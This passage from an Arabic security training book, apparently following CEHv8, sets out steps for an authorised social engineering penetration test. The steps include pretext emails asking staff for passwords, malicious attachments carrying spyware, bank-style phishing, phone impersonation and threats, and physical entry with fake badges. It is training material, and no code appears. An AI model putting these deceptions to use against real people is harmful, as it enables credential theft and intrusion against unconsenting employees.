‫ﻗﺑل ﺑدء اﻻﺧﺗﺑﺎر‪ ،‬ﯾﺟب أن ﺗﻌرف ﻣﺎ اﻟﻐرض ﻣن إﺟراء اﻻﺧﺗﺑﺎر وإﻟﻰ أي ﻣدى ﯾﻣﻛﻧك اﻻﺧﺗﺑﺎر‪ .‬وھﻛذا‪ ،‬ﻓﺈن اﻟﺧطوة اﻟﺛﺎﻧﯾﺔ ﻣن اﺧﺗﺑﺎر‬
‫اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺗﺣدﯾد اﻟﻧطﺎق‪ .‬ﻓﻲ ھذه اﻟﺧطوة‪ ،‬ﺗﺣﺗﺎج إﻟﻰ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت اﻷﺳﺎﺳﯾﺔ ﻣﺛل ﻗﺎﺋﻣﺔ اﻹدارات واﻟﻣوظﻔﯾن اﻟﺗﻲ ﺗﺣﺗﺎج‬
‫إﻟﻰ ﻓﺣﺻﮭﺎ‪ ،‬أو ﻣﺳﺗوى اﻻﻗﺗﺣﺎم اﻟﻣﺎدي اﻟﻣﺳﻣوح ﺑﮫ‪ ،‬اﻟﺦ‪ .‬واﻟﺗﻲ ﺗﺣدد ﻧطﺎق اﻻﺧﺗﺑﺎر‪.‬‬
‫اﻟﺨﻄﻮة ‪ :3‬اﻟﺤﺼﻮل ﻋﻠﻰ ﻗﺎﺋﻤﺔ رﺳﺎﺋﻞ اﻟﺒﺮﯾﺪ اﻹﻟﻜﺘﺮوﻧﻲ واﻻﺗﺼﺎﻻت ﻣﻦ اﻷھﺪاف اﻟﻤﺤﺪدة ﻣﺴﺒﻘﺎ‬
‫اﻟﺧطوة اﻟﻣﻘﺑﻠﺔ ھﻲ اﻟﺣﺻول ﻋﻠﻰ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ وﺗﻔﺎﺻﯾل اﻻﺗﺻﺎل ﻋن اﻟﻧﺎس اﻟذﯾن ﺗم إدراﺟﮭم ﻛﺄھداف ﻓﻲ اﻟﺧطوة اﻟﺛﺎﻧﯾﺔ‪ ،‬أي‬
‫ﺗﺣدﯾد ﻧطﺎق اﺧﺗﺑﺎر اﻻﺧﺗراق‪ .‬ﺗﺻﻔﺢ ﺟﻣﯾﻊ ﻣﺻﺎدر اﻟﻣﻌﻠوﻣﺎت ﻟﻠﺗﺣﻘﻖ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟذي ﺗرﯾدھﺎ )ﻋﻧوان اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ وﺗﻔﺎﺻﯾل‬
‫اﻻﺗﺻﺎل‪ ،‬اﻟﺦ( ھل ھﻲ ﻣﺗﺎﺣﮫ أم ﻻ‪ .‬إذا ﻛﺎﻧت اﻟﻣﻌﻠوﻣﺎت ﻣﺗواﻓرة‪ ،‬ﻗم ﺑﺈﻧﺷﺎء ﺑرﻧﺎﻣﺞ ﻧﺻﻲ ﻣﻊ ذراﺋﻊ ﻣﺣددة‪ .‬إذا ﻛﺎﻧت اﻟﻣﻌﻠوﻣﺎت ﻏﯾر‬
‫ﻣﺗوﻓرة‪ ،‬ﻗم ﺑﺟﻣﻊ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ وﺗﻔﺎﺻﯾل اﻻﺗﺻﺎل ﻟﻠﻌﺎﻣﻠﯾن ﻓﻲ اﻟﻣؤﺳﺳﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :4‬ﺟﻤﻊ رﺳﺎﺋﻞ اﻟﺒﺮﯾﺪ اﻹﻟﻜﺘﺮوﻧﻲ وﺗﻔﺎﺻﯿﻞ اﻻﺗﺼﺎل ﻟﻠﻌﺎﻣﻠﯿﻦ ﻓﻲ اﻟﻤﺆﺳﺴﺔ اﻟﻤﺴﺘﮭﺪﻓﺔ‬
‫إذا ﻟم ﺗﻛن ﻗﺎدرا ً ﻋﻠﻰ اﻟﻌﺛور ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت ﻋن اﻷﺷﺧﺎص اﻟﻣﺳﺗﮭدﻓﯾن‪ ،‬ﻓﻘم ﺑﻣﺣﺎوﻟﺔ ﺟﻣﻊ ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ وﺗﻔﺎﺻﯾل اﻻﺗﺻﺎل ﻣن‬
‫اﻟﻣوظﻔﯾن اﻵﺧرﯾن ﻓﻲ اﻟﻣؤﺳﺳﺔ اﻟﮭدف ﺑﺎﺳﺗﺧدام ﺗﻘﻧﯾﺎت ﻣﺛل ﺗﺧﻣﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ )‪ USENET ،(email guessing‬واﻟﺑﺣث ﻋﻠﻰ‬
‫ﺷﺑﻛﺔ اﻹﻧﺗرﻧت‪ ،‬و ‪ Email Spider Tools‬ﻣﺛل ‪ ،Email Extractor‬اﻟﺦ‬
‫اﻟﺨﻄﻮة ‪ :5‬ﺟﻤﻊ اﻟﻤﻌﻠﻮﻣﺎت ﺑﺎﺳﺘﺨﺪام ﺗﻘﻨﯿﺎت ‪Footprinting‬‬
‫ﺑﻣﺟرد ﺟﻣﻊ ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ وﺗﻔﺎﺻﯾل اﻻﺗﺻﺎل ﻣن ﻣوظﻔﻲ اﻟﻣﻧظﻣﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪ ،‬وإﺟراء ‪ Email Footprinting‬وﻏﯾرھﺎ ﻣن‬
‫اﻟﺗﻘﻧﯾﺎت ﻟﺟﻣﻊ أﻛﺑر ﻗدر ﻣﻣﻛن ﻣن اﻟﻣﻌﻠوﻣﺎت ﻋن اﻟﻣﻧظﻣﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪ .‬ﺗﺣﻘﻖ ﻣﺎ ھﻲ اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺗﺎﺣﺔ ﻋن اﻷھداف اﻟﻣﺣددة‪ .‬إذا ﻛﻧت ﻗﺎدرا‬
‫ﻋﻠﻰ ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ھﻲ ﻣﻔﯾدة ﻟﻠﻘرﺻﻧﺔ‪ ،‬ﻗم ﺑﺈﻧﺷﺎء ﺑرﻧﺎﻣﺞ ﻧﺻﻲ ﻋن اﻟذراﺋﻊ ﻣﺣددة‪.‬‬
‫إذا ﻟم ﺗﻛن ﻗﺎدرا ﻋﻠﻰ ﺟﻣﻊ ﻣﻌﻠوﻣﺎت ﻣﻔﯾدة ﻋن اﻷھداف اﻟﻣﺣددة‪ ،‬اﻧﺗﻘل إﻟﻰ اﻟﺧطوة ‪ 4‬وﺣﺎول ﺟﻣﻊ رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ وﺗﻔﺎﺻﯾل‬
‫اﻻﺗﺻﺎل ﻣن اﻟﻣوظﻔﯾن اﻵﺧرﯾن ﻓﻲ اﻟﻣﻧظﻣﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪1004‬‬

‫اﻟﺨﻄﻮة ‪ :6‬إﻧﺸﺎء ﻣﺨﻄﻂ ﻣﻊ ذراﺋﻊ ﻣﺤﺪدة‬

‫إﻧﺷﺎء ﻣﺧطط ﻗﺎﺋم ﻋﻠﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻗﻣت ﺑﺟﻣﻌﮭﺎ‪ ،‬ﻣﻌﺗﺑرا اﻟﻧﺗﺎﺋﺞ اﻹﯾﺟﺎﺑﯾﺔ واﻟﺳﻠﺑﯾﺔ ﻟﻠﻣﺣﺎوﻟﺔ‪.‬‬

‫ﺑﻣﺟرد اﻟﺣﺻول ﻋﻠﻰ ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ وﺗﻔﺎﺻﯾل اﻻﺗﺻﺎل ﻣن ﻣوظﻔﻲ اﻟﻣﻧظﻣﺔ اﻟﻣﺳﺗﮭدﻓﺔ‪ ،‬ﯾﻣﻛﻧك إﺟراء اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ‬
‫اﻻﺟﺗﻣﺎﻋﯾﺔ ﻓﻲ ﺛﻼث طرق ﻣﻣﻛﻧﺔ‪ .‬ﻣن ﺧﻼل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬ﺑﺎﺳﺗﺧدام اﻟﮭﺎﺗف‪ ،‬وﺷﺧﺻﯾﺎ‪.‬‬

‫ﻣن ﺧﻼل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‬

‫اﻟﺨﻄﻮة ‪ :7‬رﺳﺎﻟﺔ ﺑﺮﯾﺪ إﻟﻜﺘﺮوﻧﻲ اﻟﻰ اﻟﻤﻮظﻒ واﻟﺘﻲ ﺗﻄﻠﺐ ﻣﻌﻠﻮﻣﺎت ﺷﺨﺼﯿﺔ‬
‫ﻟدﯾك ﺑﺎﻟﻔﻌل ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣن ﻣوظﻔﻲ اﻟﻣﻧظﻣﺔ اﻟﮭدف‪ ،‬ﯾﻣﻛﻧك إرﺳﺎل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟﮭم ﺗطﻠب ﻣﻌﻠوﻣﺎت ﺷﺧﺻﯾﺔ ﻣﺛل‬
‫أﺳﻣﺎء اﻟﻣﺳﺗﺧدﻣﯾن وﻛﻠﻣﺎت اﻟﺳر ﻋن طرﯾﻖ ﺗﻣوﯾﮫ ﻧﻔﺳك ﻛﻣﺳؤول اﻟﺷﺑﻛﺔ‪ ،‬ﻣدﯾر أول ﻟدﻋم اﻟﺗﻛﻧوﻟوﺟﯾﺎ‪ ،‬أو أي ﺷﺧص ﻣن داﺋرة ﻣﺧﺗﻠﻔﺔ‬
‫ﺑﺎﺳﺗﺧدام ذرﯾﻌﺔ ﺣﺎﻟﺔ اﻟطوارئ‪ .‬اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺧﺎص ﺑك ﯾﺟب وان ﯾﺑدو وﻛﺄﻧﮫ ﺣﻘﯾﻘﻲ‪ .‬إذا ﻧﺟﺣت ﻓﻲ اﺳﺗدراج اﻟﻣوظف اﻟﮭدف‪ ،‬ﯾﺗم‬
‫اﻟﻌﻣل ﺑﺳﮭوﻟﺔ‪ .‬اﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت اﻟﺷﺧﺻﯾﺔ ﻟﻠﺿﺣﯾﺔ ﻣن ﺧﻼل اﻟرد وﺗوﺛﯾﻖ ﺟﻣﯾﻊ اﻟﻣﻌﻠوﻣﺎت وﺗﻌﺎﻓﻰ اﻟﺿﺣﺎﯾﺎ ﻣﻧﮭم‪ .‬وﻟﻛن إذا ﻛﻧت ﻻ‪ ،‬ﻓﻼ‬
‫ﺗﻘﻠﻖ‪ .‬ھﻧﺎك طرق أﺧرى ﻟﺗﺿﻠﯾل اﻟﺿﺣﯾﺔ‪ .‬إذا ﻛﻧت ﺗرﯾد اﻟﺣﺻول ﻋﻠﻰ أي رد ﻣن اﻟﻣوظف اﻟﮭدف‪ ،‬ﻗم ﺑﺈرﺳﺎل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣﻊ‬
‫اﻟﻣرﻓﻘﺎت اﻟﺧﺑﯾﺛﺔ ورﺻد اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :8‬إرﺳﺎل وﻣﺮاﻗﺒﺔ رﺳﺎﺋﻞ اﻟﺒﺮﯾﺪ اﻹﻟﻜﺘﺮوﻧﻲ ﻣﻊ اﻟﻤﺮﻓﻘﺎت اﻟﺨﺒﯿﺜﺔ ﻻﺳﺘﮭﺪاف اﻟﻀﺤﺎﯾﺎ‬
‫إرﺳﺎل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣﻊ اﻟﻣرﻓﻘﺎت اﻟﺧﺑﯾﺛﺔ اﻟﺗﻲ ﺗطﻠﻖ ﺑراﻣﺞ اﻟﺗﺟﺳس أو ﻏﯾرھﺎ ﻣن ﺑراﻣﺞ اﻟﺗﺧﻔﻲ ﻻﺳﺗرﺟﺎع اﻟﻣﻌﻠوﻣﺎت ﻋﻠﻰ‬
‫ﺟﮭﺎز اﻟﺿﺣﯾﺔ ﻋﻧد ﻓﺗﺢ اﻟﻣرﻓﻖ‪ .‬وﻣن ﺛم ﻣراﻗﺑﺔ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺿﺣﯾﺔ ﺑﺎﺳﺗﺧدام أدوات ﻣﺛل ‪ ReadNotify‬ﻟﻠﺗﺣﻘﻖ ﻣﺎ إذا ﻛﺎﻧت اﻟﺿﺣﯾﺔ‬
‫ﻗد ﻓﺗﺢ اﻟﻣرﻓﻖ أم ﻻ‪.‬‬
‫إذا ﻓﺗﺢ اﻟﺿﺣﯾﺔ اﻟوﺛﯾﻘﺔ‪ ،‬ﯾﻣﻛﻧك اﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت ﺑﺳﮭوﻟﺔ‪ .‬ﺗوﺛﯾﻖ اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺳﺗﺧرﺟﺔ ﻣن ﺟﻣﯾﻊ اﻟﺿﺣﺎﯾﺎ‪.‬‬
‫إذا ﻓﺷﻠت وﻟم ﯾﻔﺗﺢ اﻟﺿﺣﯾﺔ اﻟﻣﺳﺗﻧد‪ ،‬ﻻ ﯾﻣﻛﻧك اﻧﺗزاع أي ﻣﻌﻠوﻣﺎت‪ .‬وﻟﻛن ﻻ ﯾزال ﻟدﯾك ﺗﻧﻔﯾذ ﺗﻘﻧﯾﺎت أﺧرى ﻣﺛل إرﺳﺎل رﺳﺎﺋل اﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ اﻟﺗﺻﯾد ﻟﺟذب اﻟﻣﺳﺗﺧدم‪.‬‬
‫اﻟﺨﻄﻮة ‪ :9‬إرﺳﺎل رﺳﺎﺋﻞ اﻟﺒﺮﯾﺪ اﻹﻟﻜﺘﺮوﻧﻲ اﻟﺘﺼﯿﺪ ﻻﺳﺘﮭﺪاف اﻟﻀﺤﺎﯾﺎ‬
‫إرﺳﺎل رﺳﺎﺋل اﻟﺗﺻﯾد ﻟﻸھداف اﻟﺗﻲ ﺗﺑدو ﻛﻣﺎ ﻟو أﻧﮭﺎ ﻣن ﺑﻧك ﯾﺳﺄل ﻋن ﻣﻌﻠوﻣﺎﺗﮭم اﻟﺣﺳﺎﺳﺔ )ﯾﺟب أن ﯾﻛون ﻟدﯾك اﻹذن اﻟﻼزم ﻟﮭذا(‪.‬‬
‫إذا ﺗﻠﻘﯾت أي اﺳﺗﺟﺎﺑﺔ‪ ،‬ﻗم ﺑﺎﺳﺗﺧراج اﻟﻣﻌﻠوﻣﺎت وﺗوﺛﯾﻖ ﺟﻣﯾﻊ ردود اﻟﺿﺣﺎﯾﺎ ﻣﻧﮭم‪.‬‬
‫إذا ﻟم ﺗﺗﻠﻘﻰ أي رد ﻣن اﻟﺿﺣﯾﺔ‪ ،‬اﺳﺗﻣر ﻓﻲ اﺧﺗﺑﺎر اﻻﺧﺗراق ﻣﻊ أﺳﺎﻟﯾب اﻟﮭﺎﺗف‪.‬‬

‫ﻣن ﺧﻼل اﺳﺗﺧدام اﻟﮭﺎﺗف )‪(Social Engineering Pen Testing: Using Phone‬‬
‫ﻓﯾﻣﺎ ﯾﻠﻲ اﻟﺧطوات ﻹﺟراء اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺑﺎﺳﺗﺧدام اﻟﮭﺎﺗف ﻟﺿﻣﺎن اﻟﻧطﺎق اﻟﻛﺎﻣل‪.‬‬
‫اﻟﺨﻄﻮة ‪ :10‬اﻻﺗﺼﺎل ﺑﺎﻟﮭﺪف وﺗﻘﺪﯾﻢ ﻧﻔﺴﻚ ﻟﮫ ﻛﺰﻣﯿﻞ ﺛﻢ ﺗﺴﺄل ﻋﻦ ﻣﻌﻠﻮﻣﺎت ﺣﺴﺎﺳﺔ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :11‬اﻻﺗﺼﺎل ﺑﺎﻟﻤﺴﺘﺨﺪم اﻟﮭﺪف واﻟﺘﻈﺎھﺮ ﺑﺄﻧﻚ ﻣﺴﺘﺨﺪم ﻣﮭﻢ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :12‬اﻻﺗﺼﺎل ﺑﺎﻟﮭﺪف واﻟﺘﻈﺎھﺮ ﺑﺎﻧﻚ ﻣﺸﺮف اﻟﺪﻋﻢ اﻟﻔﻨﻲ‪.‬‬
‫اﻻﺗﺻﺎل ﺑﺎﻟﮭدف وﺗﻘدﯾم ﻧﻔﺳك ﻛﻣﺳؤول اﻟدﻋم اﻟﺗﻘﻧﻲ‪ .‬ﻧﻘول ﻟﻠﺷﺧص إﻧك ﺗﺣﺗﺎج إﻟﻰ اﻻﺣﺗﻔﺎظ ﺑﺳﺟل ﻟﺟﻣﯾﻊ اﻟﻣوظﻔﯾن واﻟﻣﻌﻠوﻣﺎت ﻋن ﻧظﺎﻣﮭم‬
‫واﻷوﻗﺎت اﻟﺗﻲ ﻣن ﺧﻼﻟﮭﺎ ﯾﺗم اﺳﺗﺧدام اﻟﻧظﺎم‪ ،‬وﻣﺎ إﻟﻰ ذﻟك؛ ﻟذا‪ ،‬ﻛﻧت ﻓﻲ ﺣﺎﺟﺔ اﻟﻰ ﺑﻌض اﻟﺗﻔﺎﺻﯾل ﻣن اﻟﻣوظﻔﯾن‪ .‬ﺑﮭذه اﻟطرﯾﻘﺔ‪ ،‬ﯾﻣﻛﻧك أن‬
‫ﺗﺳﺄل ﻋن ﻣﻌﻠوﻣﺎت ﺣﺳﺎﺳﺔ ﻣن اﻟﻣوظﻔﯾن‪.‬‬
‫اﻟﺨﻄﻮة ‪ :13‬اﻻﺗﺼﺎل ﺑﺎﻟﮭﺪف وﺗﻘﺪﯾﻢ ﻧﻔﺴﻚ ﻛﻮاﺣﺪ ﻣﻦ اﻷﺷﺨﺎص اﻟﻤﮭﻤﯿﻦ ﻓﻲ اﻟﻤﻨﻈﻤﺔ وﻣﺤﺎوﻟﺔ ﺟﻤﻊ اﻟﺒﯿﺎﻧﺎت‪،‬‬
‫اﻟﺨﻄﻮة ‪ :14‬اﻻﺗﺼﺎل ﺑﺎﻟﮭﺪف وﺗﻘﺪم ﻟﮫ اﻟﻤﻜﺎﻓﺂت ﺑﺪﻻ ﻟﺘﺒﺎدل اﻟﻤﻌﻠﻮﻣﺎت اﻟﺸﺨﺼﯿﺔ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :15‬ﺗﮭﺪﯾﺪ اﻟﮭﺪف ﺑﻌﻮاﻗﺐ وﺧﯿﻤﺔ )ﻋﻠﻰ ﺳﺒﯿﻞ اﻟﻤﺜﺎل‪ ،‬ﺳﯿﺘﻢ ﺗﻌﻄﯿﻞ اﻟﺤﺴﺎب( ﻟﻠﺤﺼﻮل ﻋﻠﻰ اﻟﻤﻌﻠﻮﻣﺎت‪.‬‬
‫اﻟﺨﻄﻮة ‪ :16‬اﺳﺘﺨﺪام ﺗﻘﻨﯿﺎت اﻟﮭﻨﺪﺳﺔ اﻻﺟﺘﻤﺎﻋﯿﺔ اﻟﻌﻜﺴﯿﺔ ﺑﺤﯿﺚ ﺗﺴﻔﺮ اﻷھﺪاف ﻋﻦ اﻟﻤﻌﻠﻮﻣﺎت ﺑﻨﻔﺴﮭﺎ‪.‬‬

‫اﺟراء اﺧﺗﺑﺎر اﺧﺗراق اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺷﺧﺻﯾﺎ‬

‫ﻧﺟﺎح أي ﺗﻘﻧﯾﺔ ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﯾﻌﺗﻣد ﻋﻠﻰ ﻣدى ﻧﺟﺎح اﻻﺧﺗﺑﺎر ﯾﻣﻛن أن ﺗﺳن اﻟﻣﺧطط واﺧﺗﺑﺎر اﻟﻣﮭﺎرات اﻟﺷﺧﺻﯾﺔ‪ .‬ﯾﻣﻛن أن ﯾﻛون ھﻧﺎك‬
‫ﻋدد ﻻ ﯾﺣﺻﻰ ﻣن ﺗﻘﻧﯾﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻷﺧرى اﺳﺗﻧﺎدا إﻟﻰ اﻟﻣﻌﻠوﻣﺎت اﻟﻣﺗﺎﺣﺔ وﻧطﺎق اﻻﺧﺗﺑﺎر‪ .‬اﻟﺗدﻗﯾﻖ داﺋﻣﺎ ﯾﻘوم ﺑﺧطوات اﻻﺧﺗﺑﺎر‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪1005‬‬

‫اﻟﺧﺎص ﺑك ﺑﻌﯾدا ﻋن اﻟﻣﺳﺎﺋل اﻟﻘﺎﻧوﻧﯾﺔ‪ .‬اﻟﺧطوات اﻟﺗﺎﻟﯾﺔ ﻹﺟراء اﺧﺗﺑﺎر اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﺷﺧﺻﯾﺎ ﻟﺿﻣﺎن اﻟﻧطﺎق اﻟﻛﺎﻣل ﻻﺧﺗﺑﺎر اﻟﻘﻠم‪.‬‬
‫اﻟﺨﻄﻮة ‪ :17‬اﻟﺘﺼﺎدق ﻣﻊ اﻟﻌﺎﻣﻠﯿﻦ ﻓﻲ اﻟﻜﺎﻓﺘﯿﺮﯾﺎ وﻣﺤﺎوﻟﺔ اﻧﺘﺰاع ﻣﻌﻠﻮﻣﺎت‪.‬‬
‫اﻟﺨﻄﻮة ‪ :18‬ﻣﺤﺎوﻟﺔ دﺧﻮل ﻣﻨﺸﺄة واﻟﺘﻈﺎھﺮ ﺑﺄﻧﻚ ﻣﺪﻗﻖ اﻻﻣﻦ اﻟﺨﺎرﺟﻲ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :19‬ﻣﺤﺎوﻟﺔ دﺧﻮل ﻣﻨﺸﺄة ﻛﻔﻨﻲ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :20‬ﻣﺤﺎوﻟﺔ اﻟﺪﺧﻮل ﻣﻦ اﻟﺒﺎب اﻟﺨﻠﻔﻲ ﺑﺎرﺗﺪاء ﺷﺎرة ھﻮﯾﺔ ﻣﺰورة‪.‬‬
‫اﻟﺨﻄﻮة ‪ :21‬ﻣﺤﺎوﻟﺔ اﻟﺘﻨﺼﺖ و ‪ shoulder surfing‬ﻋﻠﻰ اﻷﻧﻈﻤﺔ واﻟﻤﺴﺘﺨﺪﻣﯿﻦ‪.‬‬
‫اﻟﺨﻄﻮة ‪ :22‬ﺗﻮﺛﯿﻖ ﺟﻤﯿﻊ ھﺬه اﻟﻨﺘﺎﺋﺞ ﻓﻲ ﺗﻘﺮﯾﺮ رﺳﻤﻲ‪.‬‬

‫اﻟﺣﻣد � ﺗﻌﺎﻟﻰ‪ ،‬وﺑﺣول ﷲ ﺗﻌﺎﻟﻰ ﻧﻛون ﻗد اﻧﺗﮭﯾﻧﺎ ﻣن اﻟوﺣدة اﻟﺗﺎﺳﻌﺔ واﻟﺗﻲ ﻟم اﺗﻘﯾد ﻓﻘط ﻓﯾﮭﺎ ﺑﻣﺎ ذﻛر‬
‫ﻓﻲ ﻛﺗﺎب ‪ .CEHv8‬ﻟﻛﻧﻧﻲ ﻗد اﺳﺗﻌﻧت ﺑﺎﻟﻣراﺟﻊ اﻷﻛﺛر ﻗوه ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ واﻟﺗﻲ ﻣﻌظم ﻣﻌﻠوﻣﺎت‬
‫ھذا اﻟﻛﺗﺎب ﻗﺎدﻣﺔ ﻣﻧﮫ وﻓﯾﻣﺎ ﯾﻠﻲ ﻗﺎﺋﻣﺔ ﺑﺗﻠك اﻟﻣراﺟﻊ‪:‬‬
‫)‪- Christopher Hadnagy - Social Engineering: The Art of Human Hacking (main‬‬
‫‪- Christopher Hadnagy - Unmasking the Social Engineer. The Human Element of‬‬
‫)‪Security (main‬‬
‫‪- Syngress. Social Engineering Penetration Testing‬‬

‫وﻧﻠﻘﺎﻛم ﻣﻊ اﻟوﺣدة اﻟﺗﺎﻟﯾﺔ‪:‬‬

‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬